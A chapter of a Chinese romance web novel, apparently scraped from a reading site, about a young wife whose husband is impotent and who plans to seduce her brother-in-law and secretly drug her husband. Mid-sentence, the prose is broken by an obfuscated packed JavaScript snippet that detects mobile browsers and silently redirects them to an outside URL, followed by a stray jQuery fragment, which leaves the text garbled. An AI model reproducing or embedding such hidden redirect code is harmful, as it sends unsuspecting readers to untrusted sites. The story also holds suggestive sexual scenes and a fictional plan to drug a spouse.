姜姝心思机敏,瞧见陆长稽扭头的动作便明白了七八分,她低下头打量自己的衣衫,那外衫已然褪到肩部,小半个肩膀都露了出来,明晃晃的,颇有欲拒还迎之态。
姜姝暗怪自己失态,她这副样子,便是自己瞧了都觉得轻浮,更何况大伯?大伯光风霁月,为人正派,若是误以为她有心勾引,可该怎么办?
心乱成了一团乱麻,姜姝又急又恼,忙把衣襟拢到一起,将衣带紧紧系了起来。
气氛陷入短暂的凝滞,当姜姝想要说点什么来缓解尴尬的时候,忽见陆长稽蹲到了她跟前。
有的人就是这样,无论做什么动作都端方的无以复加,陆长稽肩背笔挺、淡然沉稳,即便蹲在地上,也显得十分从容雅致。
他将姜姝的鞋子脱掉,隔着绫袜把她的左脚握在手中,乍一接触,才发现她的脚十分娇小,柔弱无骨,还不及他的手掌大。
他动作微滞,手上的力度不由又放轻了几分。
食指分别在足底的穴位上点了几下,低声问道:“这几个部位哪里疼?”
他的动作很温柔,像是羽毛轻轻在脚掌心划过,挠得她有些痒,脚趾不由蜷缩起来。
姜姝的脸更红了,心跳也有些快,她摇摇头,低声对陆长稽道:“是脚踝疼。”
陆长稽将手指移到她的脚踝上,在骨节处摩挲了两下,温声道:“是关节错位了,你暂且忍耐一下。”
话毕,一只手环握住她的脚掌,另一只手攥住她的脚腕,两只手一齐用力,“咔嚓”一声,便将错位的骨节掰正了。
剧痛传来,姜姝不由低呼一声,她嗓音娇软,这声低呼传出来,竟像是某种不可言状的娇1吟。
当然,姜姝并没有注意到这份不同寻常,只觉得剧痛过后整只脚都十分舒畅,虽不似之前那样轻便,却也勉强可以走路。
这里离交春园不及欣春苑近,陆长稽扶着姜姝折回了欣春苑,直到坐到拔步床上,姜姝都觉得左脚热烘烘的,仿佛烙上了某种印记。
早就到了就寝的时辰,她却格外精神,顺手拿起一侧的针线做绣活儿,也不知过了多久,陆长易才回到寝屋。
陆长易一进门,姜姝就看到他的衣摆上沾着一些刺目的血沫子,接着便闻到了一股淡淡的血腥味,虽说知道那血腥气是鸡血的味道,却还是不悦地颦起了眉头。
屋里有了新妇,到底不能像以前那样无所顾忌,陆长易察觉到不妥,转身到盥室沐浴。
陆长易从盥室出来的时候,姜姝正凑在连枝灯旁边描花样子,在灯光的映照下,愈发显得她侬丽娇柔,肌肤细腻如脂,半点瑕疵都没有。
沿着脸颊往下瞧,才发现她今日的衣裳也格外别致,纱衣下的抱腹若隐若现,山峦巍峨,山腰纤纤,简直像勾魂摄魄的精怪。
陆长易起了心思,但因着上次的经历糟糕透顶,便有些忐忑,他也不敢直接邀姜姝上榻,只坐到她身边与她亲昵。
若是能起来,便邀她上榻,若是起不来,装作若无其事也无妨。
陆长易将手搭到姜姝腰侧,若有似无摩挲起来。
并没有想象中的悸动,也没有话本子里所写的酥麻感,陆长易的手软绵绵的,和女子的别无二致,姜姝生不出一点儿荡漾之意。
不过通过他这个动作,她知晓了他也有那方面的意思,她对他没有男女之情,但感情虚无缥缈,可以慢慢培养,当下最要紧的是安身立命,怀上一胎麟儿。
想到这儿,姜姝的动作便大胆了一些。她就势倚到陆长易肩头,柔声道:“世子久久不归,我原本想要去接一接您,没成想扭了脚,若不是大伯相助,恐怕就要耽搁在半路上了。”
陆长易这才发现姜姝是光着左脚的,脚踝有些红,微微发肿。
为了寻他,她才扭伤了脚,他满心愧疚,恨不得替她遭受那痛苦。
想要让她的脚踝好受一些,却因着从来没有照顾人的经验,竟不知该从何做起。
姜姝窥出了陆长易心中所想,格外体贴的说道:“世子帮我冷敷一下吧,脚踝热辣辣的,冷敷一下会舒服很多。”
仿若雪中送炭,陆长易当即就令方玉往屋内端冷水。
趁着这个间隙,他把姜姝扶到拔步床上,握着姜姝的小腿搭到他的大腿上,陆长易没有照顾过人,动作毛毛躁躁,阴差阳错竟将姜姝的脚丫子搭到了那处上面。
脚下弹软,姜姝察觉到了异常,一时之间两人都有些脸热,只碍于方玉在场,不好有所动作,只假装镇定。
所幸方玉正蹲在地上投帕子,视线所限,并不能看到床榻上的情形。
陆长易接过方玉投好的帕子,将她打发出去,房门合上,姜姝长舒一口气,下意识便要将脚收回去。
陆长易又哪里会应允,他红着脸按住姜姝的脚踝,轻轻将冷帕子敷了上去。
清凉的感觉从脚踝处蔓延开来,舒适将尴尬驱散,姜姝舒1服的眯上眼睛,与此同时也察觉到了脚下的变化。
那里一点一点苏醒了。
总算不枉这一个月的调理,陆长易大喜,一把将帕子丢到一边,猛得压了上去。
帕子被摔得乱糟糟,脚踝也还有些疼,他打小被捧赵氏捧在手掌心长大,并不懂得怜香惜玉。不过这个时候姜姝也不好打断他,只微微将头扭到一侧,盯着拔步床上的穗子,思索打穗子的手法。
幸福只来了一瞬,陆长易还未来得及动作,又很快消弭下去。
希望破灭,比没有希望更让人难受焦灼。
陆长易恼了,他既羞愧又愤怒,不想面对他自己,也不敢面对姜姝。颓然地从姜姝身上翻身而下,沉默着朝向另一侧,留给姜姝一个背影。
姜姝也有些失望,想到林氏的叮嘱,杨氏的跋扈,赵氏的咄咄逼人,不禁为自己的将来、也为姜容担忧起来。
她不是陆长易,没有优渥的出身,没有可以事事能为自己做主的母亲,便是想任性也没有资本。
她盯着床顶缄默了好一会儿,才将心中的失望驱散出去,伸出手臂从背后环抱住陆长易。
温软馨香贴到背后,温言软语传入耳际,姜姝将自己的温柔和善意尽数传达给陆长易。
按说陆长易的愤怒当消减一些,可事实却截然相反,她离他越近,待他越好,他就越气恼自己的无能。
她是他的妻,从头到脚、从里到外都是他的,那种看的到、摸的到、却吃不到的感觉让他几欲崩溃。
脑海中忽得生出一个念头,陆长易即刻就想占有姜姝,想在姜姝身上留下不可磨灭的印记,来彰显他对她的所有权。
他的那个地方是不中用了,好歹还有一双灵活的手。
陆长易焦躁的翻过身,和姜姝面对面贴在一起,将手探到了入口。
姜姝微愣,睫毛像蝶翅一样翕动起来。她深吸一口气,不动声色拉开和陆长易的距离。
“世子可是冻着了,手怎得这样凉?”姜姝把陆长易的手从那里移开,与他十指相扣,将她热热的温度传递给他。
床上挂着一颗夜明珠,将姜姝的神色照的分毫毕现,她的眸子波光盈盈,满是包容的柔情。他在她的眸光中败下阵来。
姜姝这一夜睡得并不好,对镜自揽,眼下一片青黑,神色也倦倦的,敷了厚厚一层粉,才将黑眼圈遮住。
她起的早,没想到林氏比她起得更早,大门不出二门不迈的姨娘,竟在大早晨寻到了侯府。
林氏没有什么主意,遇到自己解决不了的事情,首先想到的就是向姜姝求助。
所幸她还知道维护姜姝的颜面,并没有当着下人的面哭哭啼啼,随着姜姝进入梢间后才低声啜泣起来。
“夫人要把容儿许给一个姓何的司马做小妾。”
“那何司马年逾四十,比你父亲还要年长几岁,听说他的后宅里尽是莺莺燕燕,为人最是花心。
家里的主母也是个严苛的,对妾室非打即骂,一年之内不知道要从后宅抬出去多少尸首。容儿的性子比泥还软,她若是进了何家的门,还不得生生被折磨死。”
姜姝知道这是杨氏在报复她,她让姜然寻不到好人家,杨氏便如法炮制,让姜容也不得好过。
杨氏是姜容的嫡母,她给姜容张罗亲事天经地义,便是姜姝也无法置喙。
姜姝抿紧嘴唇,现下最要紧的便是另辟蹊径给姜容寻一门过得去的亲事,只要那亲事对姜文焕有利,对姜家有利,便是杨氏有心阻拦,也拗不过姜文焕去。
可惜,每个阶层都每个阶层的圈子,姜姝虽已嫁到了信阳侯府,却日日都居在欣春苑照料陆长易,白担了世子夫人的头衔,压根没有出门交际过,更遑论结识贵人。
结识不了贵人,又哪里能给姜容寻到好亲事?事到如今,只能去求赵氏了。
姜姝轻叹一口气,对林氏道:“姨娘不要着急,总会有法子解决的。”
话毕,姜姝命方玉打开陆长易的私库,挑了三四样赤金首饰装到匣子里,温声对林姨娘道:“姨娘回家以后,把这些首饰送给母亲,母亲视财如命,即便看在首饰的面子上也会暂缓给三妹妹订亲。”
林氏掂了掂那几个赤金首饰,加起来足足有十两重,做工精细,一瞧就不是凡品,除却公爵人家,小门小户便是想买都买不到。
这几样首饰既能讨杨氏欢心,又能暗示杨氏,姜姝在侯府是能开私库的。
说来也是可笑,姜姝嫁到侯府足
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998883|178099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
足半年,不仅没摸到中馈的边,倒是要靠几件首饰撑门面。
林氏胆子小,见识也浅,她并没有领会到姜姝送赤金首饰的深意,只摩挲着那件华贵的攒珠金丝孔雀华盛看着姜姝,小心翼翼问道:“这些首饰如此华贵,你一下子就送出去三件,姑爷可会怪罪?”
陆长易在锦绣堆里长大,衣来张手饭来张口,最不在意的便是身外之物。
姜姝只道无妨:“姨娘安心回去吧,世子待我极好,断不会因为几件首饰跟我置气。”
林氏抬眸打量姜姝,见她无论穿的还是戴的都十分气派,知晓侯府不会在穿戴上掣肘她,也便放了心,带着一匣子首饰归了家。
姜姝半仰到贵妃榻上,重重叹了一口气,抬手揉捏自己的眉心。
这时方玉禀告,说是秦太医来了,刚刚给世子诊完脉。
姜姝起身迎到了花厅,温声问秦太医:“世子调理了一个月,不知可有起色?”
秦太医的说辞和一开始并没有什么区别,他道:“世子的身子虽仍旧虚弱,男科方面却略有起色,肾气比之以前,要丰盛一些。”
略有起色,那到底还能不能行?事关身家性命,姜姝不再和秦太医打马虎眼,她单刀直入:“我进门半年有余,一直怀不上身孕,这已然成了我的心疾。
还请秦太医为我解一解惑,我、我究竟还能不能怀上身孕?”
秦太医轻叹一口气,低声道:“若是借助助兴的药物,世子倒是勉强可以行房,但他常年用药,已伤了根本,便是能勉强行房,夫人也难以怀身孕。”
悬在头顶的利剑落到身上,劈得姜姝万念俱灰,她竟是一点希望都没有了。一颗心揪得生疼,像是要被撕碎一般,痛苦呼啸而来,在四肢百骸里徘徊。
她脸色煞白地站在地上,像是被人抽走了生气,眼中的光彩一点一点变暗,直至堙灭。
绝望归绝望,姜姝到底还存着理智,她深吸一口气,低声对秦太医道:“秦太医,世子身子弱,怕是受不了这样的打击,还望您能保守秘密,不要把不能生育的事情告诉他。”
秦太医点点头:“医者仁心,世子夫人且放心,世子的疾症天知地知、你知我知,老夫绝不会让第三个人知道。”
姜姝甚至都不知道自己是怎么走到宴西堂的,赵氏这几日心情不好,她一直是能避就避。
但三月之期只剩下了两个月,即便她能想法子怀上身孕,也不是一日之功,她必须在杨氏动作之前,早些给姜容订下一门好亲事。
姜姝到宴西堂的时候赵氏正在洗漱,赵氏爱面子,断不肯蓬头垢面见人,听闻姜姝求见,便让她在门外候着。
待清洗完,梳好发髻的时候,厨房正巧把膳食送到了饭厅,赵氏不想让姜姝杵在饭桌前影响食欲,便自顾自去了饭厅,任由姜姝在花厅外戳脚子。
若是平时,站上个把时辰倒也不算什么,可姜姝前一晚刚歪了脚,再加上得知陆长易不能人道,身心俱疲,长时间站着便有些吃不消。
不过站了半个时辰,脚踝处就传来一阵疼痛,长辈没有发话,她也不好擅自离开,便半倚到门框上借力。
痛苦的时间总格外难熬,没一会儿,姜姝就因为脚踝不适沁了一层薄汗。
她低下头去取腰间的绣帕,这时,一双绣着如意纹的六合靴出现在视线中。
六合靴是为内阁阁老专制的官靴,整个信阳侯府只陆长稽有资格穿。
看到这双靴子,姜姝神经一紧,热意不由爬上脸颊。她知道自己不该觊觎陆长稽,可她总不能为了贞洁把自己的性命搭进去。
陆长易不行了,她得爬到陆长稽的榻上去,必须生一个子嗣傍身。跟陆长稽同房以后,再给陆长易下一些助兴的药,与之敦伦,只要不引起陆长易的怀疑即可。
姜姝心里有鬼,十分局促。按理她应当大大方方向陆长稽行礼问安,可此时此刻,她却连抬头的勇气都没有。生怕暴露了什么一样。
姜姝一味装聋作哑,假装没有瞧见陆长稽,低着头凝视脚下的地砖。
可惜,天不遂人愿,脚步声离她越来越近,那双六合靴出现在她身旁。姜姝不得已,只得抬起头。
四目相对,陆长稽的漆眸一如既往的平和,她却慌里慌张,颇有无地自容之感。
人已到跟前,她总不能落荒而逃,现下这种境况,她只能硬着头皮和陆长稽打招呼。
姜姝深吸一口气,竭力勾出一个还算端庄温婉的笑容,蹲身向陆长稽问安。
陆长稽对姜姝做了个起身的手势,眼神若有似无向她的脚踝处瞥了一眼,温声道:“弟妹是来给母亲请安的吗?我们不若一起到屋内,免得三番两次打搅母亲用饭。”